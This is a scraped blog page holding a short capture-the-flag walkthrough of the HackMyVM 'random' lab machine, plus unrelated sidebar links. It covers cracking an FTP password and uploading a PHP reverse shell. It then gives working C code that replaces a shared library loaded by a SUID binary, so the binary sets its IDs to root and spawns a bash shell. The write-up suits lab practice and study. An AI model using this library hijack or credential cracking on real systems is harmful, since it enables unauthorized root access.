当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
猜你喜欢

ES6介绍+定义变量+不同情况下箭头函数的this指向

面试总结 22/7/22 面试中的重点

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

IP门禁:手把手教你用PHP实现一个IP防火墙

1.13 学习JS

ES6三点运算符、数组方法、字符串扩展方法

SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示

(2) Thinkphp6 template engine ** tag

js __proto__、prototype、constructor的关系
随机推荐
PHP8.2将会有哪些新东西?
[league/flysystem] An elegant and highly supported file operation interface
MySql Advanced -- Constraints
Small program van-cell line wrapping can be left-aligned
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
PHP image compression to specified size
vim edit mode
IO stream, encoding table, character stream, character buffer stream
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
PHP 给图片添加全图水印
1.10今日学习
1.初识PHP
hackmyvm-hopper walkthrough
About the apache .htaccess file of tp
2. PHP variables, output, EOF, conditional statements
Add a full image watermark to an image in PHP
js 之 Object.defineProperty()
12. What is JS
3.PHP数据类型、常量、字符串和运算符
Batch replace file fonts, Simplified -> Traditional